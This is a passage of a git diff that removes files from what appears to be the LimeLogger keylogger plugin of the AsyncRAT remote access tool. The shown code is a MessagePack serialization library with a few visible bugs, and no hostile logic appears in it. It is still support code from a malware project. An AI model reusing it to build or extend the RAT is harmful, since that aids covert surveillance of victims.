//r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs deleted file mode 100644 index 397c240..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - 